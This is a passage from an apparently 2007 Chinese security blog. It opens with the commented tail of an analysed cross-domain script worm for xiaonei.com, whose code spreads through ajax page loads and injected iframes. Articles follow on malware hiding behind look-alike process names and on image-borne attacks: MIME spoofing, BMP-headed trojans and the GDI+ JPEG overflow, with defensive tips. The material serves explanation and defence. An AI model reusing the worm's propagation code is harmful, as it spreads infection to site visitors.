     step="GetDiaryMonthList";
     loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
     //下面跳到开头的processReqChange函数
     }
     }
     else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
     {
     //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
     //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
     //作者这样做应该是为了一访问别人的主页就能感染
     var url="";
     
     url=document.location.toString();
     if(url.indexOf("&")==-1)
     return;
     step="WriteIframe";
     loadUrl(url,"GET","");
     }
     }

     Start();

  • » 阅读全文...
  • 2007年10月15日

    不要让病毒迷惑了您的眼睛

    伴随着反病毒技术的不断进步,病毒技术同样也在丰富自己的手段,如何去发现这些元凶呢?希望通过笔者的介绍,可以给用户一些帮助……

     

          说到病毒,相信遭受过病毒侵袭的用户都会感到无奈。如今伴随着反病毒技术的不断进步,病毒技术同样也在丰富自己的手段。相信用户肯定遇到过这样的情况,重新启动机器就发现杀毒软件都失效了;发现有陌生的进程,却怎么都关不掉;甚至有的用户一有异常就认为是病毒中招,可怎么查都找不到“元凶”。这到底是怎么回事呢?让我们一起来认识如今的计算机病毒。
      欺骗你的眼睛
      说到病毒就需要讲一下,病毒是如何隐藏自己的。任何病毒和木马存在于系统中,都无法彻底和进程脱离关系(一个进程可以笼统的认为是一个正在执行的程序),即使采用隐藏
    技术,仍然可以从进程中找到其踪迹,因此查看系统中活动的进程成为我们检测病毒木马最直接的方法。认识并区分进程也成为我们不得不认真对待的事情。
      当用户意识到机器中病毒后,我们通过“任务管理器”查看系统中的进程时,并没有发现异常的进程,这说明病毒采用了隐藏措施。病毒是如何欺骗你的眼睛呢?
      有过计算机使用经验的人应该知道,在系统中存在几个经常被病毒所利用来伪装自己的进程:svchost.exe、explorer.exe、iexplore.exe等,被伪装后的恶意进程呈现如下摸样:svch0st.exe、explore.exe、iexplorer.exe等。粗心的用户可能会被貌似一样的名称所迷惑,但是仔细对比,就发现了其中的七窍。通常此类病毒是将进程名的o改为0,l改为i,i改为j,以求迷惑用户。
      另外还有一个经常被利用的进程svchost.exe,它是一个属于微软Windows操作系统的系统程序,用于执行DLL文件。在基于nt内核的windows操作系统家族中,不同版本的windows系统,存在不同数量的“svchost”进程,病毒正是利用这点。正常的svchost文件存在于“c:\windows\system32”目录下,如果发现该文件出现在其他目录下就要小心了。
      毒种类很多,可以使用的
    技术也有很多,这里笔者建议用户使用第三方进程查看工具来查看您系统中到底运行了那些程序。还是用svchost.exe做例子,在XP中点击“开始”/“运行”,输入“services.msc”命令,弹出服务对话框,然后打开“remoteprocedurecall”属性对话框,可以看到rpcss服务的可执行文件的路径为“c:\windows\system32\svchost-krpcss”,这说明rpcss服务是依靠svchost调用“rpcss”参数来实现的,而参数的内容则是存放在系统注册表中的。
      在运行对话框中输入“regedit.exe”后回车,打开注册表编辑器,找到[hkey_local_machine\system\currentcontrol\setservices\rpcss]项,找到类型为“reg_expand_sz”的键“magepath”,其键值为“%systemroot%system32svchost-krpcss”(这就是在
    服务窗口中看到的服务启动命令),另外在“parameters”子项中有个名为“servicedll”的键,其值为“%systemroot%system32rpcss.dll”,其中“rpcss.dll”就是rpcss服务要使用的动态链接库文件。这样svchost进程通过读取“rpcss”服务注册表信息,就能启动该服务了。
      其实只要用户稍加留意,用户就可以自行发现系统中存在的大部分恶意程序。下面笔者介绍几种常用的杀毒方式:
      安全模式或DOS模式清除病毒
      当计算机感染病毒的时候,绝大多数的感染病毒的处理可以在正常模式下彻底清除病毒。但计算机病毒是不甘于被杀毒软件轻易发现的,这就需要在计算机安全模式下进行病毒的清除。在安全模式下对于现在大多数流行的病毒,都可以进行比较彻底彻底的清除。但对于一些引导区病毒和感染可执行文件的病毒,需要在纯 DOS下杀毒,如今大部分的杀毒软件都已经提供了引导杀毒,用户可以通过安装盘进行引导区杀毒。
      Outlook邮件病毒的清除
      基本上主流的防毒软件都可以查邮件是否带毒,并可以根据用户的设置进行相应的处理,但在Outlook中,易出现杀毒后的邮箱依旧可以检测到病毒情况,这主要是没有进行空间释放的原因导致的,用户可以进行如下操作:
      选择“工具” — “选项” — “维护” — “立即清除” — “压缩” — “删除”
      共享目录杀毒
      遇到本地共享的目录中的带毒文件不能清除的情况,建议取消共享,然后针对共享目录进行彻底查杀。对远程的共享目录(包括映射盘)查杀病毒的时候,首先要保证本地计算机的操作系统是干净的,同时对共享目录也有最高的读写权限。
          当然这只是这不是所有的病毒清除办法,不得不承认,随着病毒的发展,如今的病毒,类似这几天很火的“杀软克星”,会通过修改注册表,阻止用户进入安全模式。对于此类病毒,一般用户处理起来会相对比较麻烦,建议用户留意最新的病毒播报,即使预防或使用专杀。另外及时更新用户的系统
    漏洞,也是必不可少的,笔者还是那句老话,病毒或者攻击行为的发生,根本还是利用系统的漏洞

  • » 阅读全文...
  • 2007年09月30日

    揭秘图片病毒技术背后的内幕

    一、被诅咒的油画

      在网络上流传着一幅诡异的油画,据说很多人看后会产生幻觉,有人解释为油画的构图色彩导致的视觉刺激,也有人认为是心理作用,众说纷纭,却没有令人信服的答案。在网络公司上班的秘书小王也从一个网友那里得知了这幅画,她马上迫不及待的点击了网友给的图片连接。图片出来了,小王终于见识到了传说中诡异的油画,面对着屏幕上那两个看似正常的孩子,她却觉得背后凉飕飕的。那网友也很热心的和她聊这幅画的来源,小王入神的听着,丝毫没有注意到IE浏览器左下角的状态栏打开页面的进度条一直没停止过。   

      如果说小王刚才只是背后发冷的话,那么现在她已经是全身发冷了:电脑光驱自动弹了出来,刚按回去又弹了出来,她着急的请教那个网友,那边很平静的说:“哦,也许是光驱坏了吧,我有事先下了,你找人修一下。”然后头像暗了。

      小王已经无法回复他的话了:鼠标正在不听使唤的乱跑,键盘也没了反应,过了一会儿,电脑自己重启了,而且永远停留在了“NTLDRismissing...”的出错信息上。

      显而易见,这又是一个典型的木马破坏事件,但是小王打开的是图片,难道图片也会传播病毒了?答案很简单也很出人意料:小王打开的根本不是图片。

      IE浏览器的功能很强大,它可以自动识别并打开特定格式的文件而不用在乎它是什么文件后缀名,因为IE对文件内容的判断并不是基于后缀名的,而是基于文件头部和MIME。当用户打开一个文件时,IE读取该文件的头部信息并在本机注册表数据库内查找它对应的MIME格式描述,例如打开一个MIDI文件,IE先读取文件前面一段数据,根据MIDI文件的标准定义,它必须包含以“RIFF”开头的描述信息,根据这段标记,IE在注册表定位找到了“x-audio/midi”的MIME格式,然后IE确认它自己不具备打开这段数据的能力,所以它根据注册表里的文件后缀名信息找到某个已经注册为打开后缀名为“.MID”的文件,然后提交给此程序执行,我们就看到了最终结果。

     正是因为这个原理,所以IE很容易受伤。入侵者通过伪造一个MIME标记描述信息而使网页得以藏虫,在这里也是相同的道理,小王打开的实际上是一个后缀名改为图片格式的HTML页面,它包含上述两个漏洞的病毒文件和一个高度和宽度都设置为100%的图片IMG标记,所以在小王看来,这只是一个图片文件,然而,图片的背后却是恶毒的木马。木马程序体积都比较大,下载需要一定时间,这就是IE进度条一直没停止的原因。入侵者为了确保受害者打开页面的时间可以使整个木马文件下载完毕,就采用了社会工程学,让受害者不会在很短的时间内关闭页面,当木马下载执行后,“图片”的诅咒就应验了。
    二、位图特性的悲哀

      他是一家公司的网络管理员,在服务器维护和安全设置方面有足够多的经验,因此他无需惧怕那些利用浏览器漏洞实现的病毒。这天他在一个技术论坛里看到一个网友发的关于AMD某些型号的处理器存在运算瑕庇的帖子,并给出一个测试页面连接,根据官方描述,如果你用的CPU存在瑕庇,那么你会看到页面上的测试图片显示得破损错乱。他心里一惊:自己用的CPU正是这个型号。他马上点击了页面连接。   

      看着页面上乱七八糟的一幅图片,他心里凉了一截:这台机器的CPU居然有问题,而他还要用这台机器处理公司的重要数据的!他马上去管理部找负责人协商,把显示着一幅胡里花哨图片的机器晾在一边。

      管理部答应尽快给他更换一台机器,让他把硬盘转移过去,因为上面有重要的业务资料。他回来时看到那幅图片还在耀武扬威,他厌恶的关闭了页面,照例打开存放资料的文件夹,他的脑袋一下子空白了:资料不见了!谁删除了?他慌乱的查找硬盘每个角落,可那些文件却像蒸发了一样。许久,他终于反应过来了:机器被入侵了!他取下硬盘直奔数据恢复公司而去。

      事后他仔细分析了原因,因为机器已经通过了严格的安全测试而且打了所有补丁,通过网页漏洞和溢出攻击是不可能的了,唯一值得怀疑的只有那个所谓的瑕庇测试网页了,他迅速下载分析了整个页面代码,看着页面源代码里后缀名为“.BMP”的IMG标记和一堆复杂的脚本代码,他知道自己是栽在了BMP木马的手上。
    那幅“测试瑕庇”的图片,无论到什么机器上都是一样有“瑕庇”,因为它根本不是图片文件,而是一个以BMP格式文件头部开始的木马程序。

      为什么看似温顺的图片文件也变成了害人的凶器?这要从位图(Bitmap)格式说起,许多朋友应该都知道流传了很久的被称为“图片藏字”的“密文”传播方式,即在位图文件尾部追加一定量的数据而不会对原位图文件造成太大破坏,这是位图格式的限制宽松而造成的。系统判断一个位图文件的方法并不是严格盘查,而是仅仅从文件头部的54字节里读取它的长宽、位数、文件大小、数据区长度就完成了图片的识别,宽松的盘查机制使得BMP木马得以诞生。  不过先要澄清一点概念,BMP木马并不是在BMP位图文件屁股后追加的EXE文件,而是一个独立的EXE可执行文件,但是它的文件PE头部已经用位图文件头部替换了,由于系统的盘查机制,这个EXE文件就被浏览器认成位图文件了。既然是位图,在浏览器的程序逻辑里,这是需要下载到Internet高速缓存文件夹然后显示在页面上的文件,但是因为这个文件本来就不是位图,它被强制显示出来以后自然会变成一堆无意义的垃圾数据,在用户眼里,它就成了一幅乱七八糟的图像。但这不是引起木马危机的原因,要留意的是这些文字:“需要下载到Internet高速缓存文件夹”!这说明浏览器已经请狼入室了——木马已经在硬盘上安家了,但是目前它还在沉睡中,因为它的文件头部被改为位图格式,导致它自身已经不能运行,既然不能运行,理所当然就不能对系统构成危害,那么这只狼在硬盘呆多久也是废物一个,入侵者当然不能任由它浪费,因此他们在做个页面给浏览器下载木马的同时,也会设置页面代码让浏览器帮忙脱去这只狼的外衣——把位图格式头部换成可执行文件的PE头部,然后运行它。经过这些步骤,一只恶狼进驻了系统。

     这个无法修补的漏洞十分可怕,用户很难知道他们正在浏览的页面是否正在偷偷下载着木马数据,因为即使他们打好了所有补丁也无济于事,木马是被IE“合法”下载的,不属于代码漏洞,而且单靠程序本身也很难判断这个图像是不是木马程序,机器靠二进制完成处理工作,而不是视网膜成象交给大脑判断。但是,由于这也是需要下载文件的入侵方式,它能否下载完毕以及用户愿不愿意去看页面就要取决于入侵者的社会工程学了,在任何一个页面里放出一个乱七八糟的图片或者来一个隐藏的图片框都不是最明智的选择,除非利用一些“暇庇声明”或更能引起人的兴趣的伎俩。那家公司的网管之所以会这么不设防,就是因为攻击者偷用了人们的“心理盲区”,因为人们对安全、漏洞、病毒、暇庇等内容会特别敏感,所以入侵者发个专业暇庇案例就欺骗了一大堆人,这次是拿真实的事件:AMD某些型号CPU会导致图像显示出问题的暇庇来做鱼饵,下一次又该拿什么了呢?
    三、魔鬼的诅咒

      对于某娱乐论坛的大部分用户来说,今天是个黑色的日子,因为他们在看过一个《被诅咒的眼睛》油画帖子后,系统遭到了不明原因的破坏。  

      论坛管理层的技术人员立即对这个帖子进行了多次分析,可是整个页面就只有一个JPEG图片的连接,其他恶意代码和程序根本不存在。入侵者靠什么破坏了看帖用户的机器?难道竟是这个JPEG图片?

      答案恐怕让人难以接受,的确就是这幅JPEG图片让用户感染了病毒。尽管病毒研究一直未曾停止,可是发展到这个地步,实在让人不能承受:再下去是不是打开一个文本文件都会被感染病毒?

      图片带毒来袭,实在让所有人都擦了一把汗,然而我们都知道,JPEG、GIF等格式图片不具备可以执行自身并散播病毒的条件,这不符合逻辑。回忆一下2004年9月14日的事,微软发布了MS04-028安全公告:JPEG处理(GDI+)中的缓冲区溢出可能使代码得以执行。没错,就是这个漏洞,它的术语叫GDI+,对应的动态链接库为GdiPlus.dll,这是一种图形设备接口,能够为应用程序和程序员提供二维媒介图形、映像和版式,大部分Windows程序都调用这个DLL完成JPEG格式图片的处理工作。但是现在,正是这个“公众人物”成了众矢之的。   

      说到这里,有基础的读者应该明白了吧:并不是图片自己能传播病毒,而是系统负责图形处理工作的模块会在处理图片时发生溢出导致图片内携带的恶意指令得以执行破坏。如果某个图片工具不调用这个系统模块,而是使用自己的处理模块,那么同样包含恶意指令的图片就不能达到破坏目的。但是因为这个系统模块是默认的处理模块,所以大部分程序在“JPEG病毒”面前纷纷落马。
    这个溢出是怎么产生的呢?这要从系统如何读取JPEG格式图形的原理说起,系统处理一个JPEG图片时,需要在内存里加载JPEG处理模块,然后JPEG处理模块再把图片数据读入它所占据的内存空间里,也就是所说的缓冲区,最后我们就看到了图片的显示,然而就是在图片数据进入缓冲区的这一步出了错——Windows规定了缓冲区的大小,却没有严格检查实际容纳的数据量,这个带缺陷的边界检查模式导致了噩梦:入侵者把一个JPEG图片的数据加工得异常巨大并加入恶意指令,那么这个图片在系统载入内存时候会发生什么情况呢?图片数据会涨满整个JPEG处理模块提供的缓冲区并恰好把恶意指令溢出到程序自身的内存区域,而这部分内存区域是用于执行指令的,即核心区,于是恶意指令被程序误执行了,入侵者破坏系统或入侵机器的行为得以正常实施。有人也许会疑惑,入侵者都是神算子吗,他们为什么能准确的知道会是哪些数据可以溢出执行?答案很简单,因为Windows在分配JPEG处理模块的空间时,给它指定的内存起始地址是固定的,入侵者只要计算好这个空间大小,就能知道会有哪些数据被执行了,所以JPEG病毒迅速传播起来。   

      所谓JPEG病毒,并不是JPEG图片能放出病毒,而是系统处理JPEG图片的模块自己执行了JPEG图片携带的病毒,所以我们大可不必人心惶惶,只要补上了GDIPLUS.DLL的漏洞,那么即使你机器上的所有JPEG图片都带有病毒数据,它们也无法流窜出来搞破坏,正如美国马萨诸塞州立大学助理教授奥斯汀所言:“病毒不仅仅是可自我复制的代码,他们需要通过可执行代码的方式来进行传播。JPEG文件不能执行代码,他们是由应用软件打开的数据文件。应用软件不会去查找数据文件中的可执行的代码,为此不会运行这些病毒代码。”
     四、防范

      对于虚假图片文件的欺骗手法,只要用户补上了MIME和IFRAME漏洞,那么入侵者让你停留多久也无济于事;至于BMP木马,它的防范是几乎不可避免,但是它有个最大的弱点,大部分情况下只能在Win9x环境正常执行,用Win2000以上的用户不必草木皆兵了;而对于JPEG病毒来说更好办了,微软已经提供JPEG模块的更新了,你倒是去补一下啊!即使真的一点也不会,买个防病毒软件在后台监视也OK了,但是为什么国内用户却偏偏喜欢徒劳的恐慌?

      纵观这一系列图片病毒的原理和手法,我们可以发现“社会工程学”这个身影的扩大化趋势。如何避免被骗,这只能看你自己了。

  • » 阅读全文...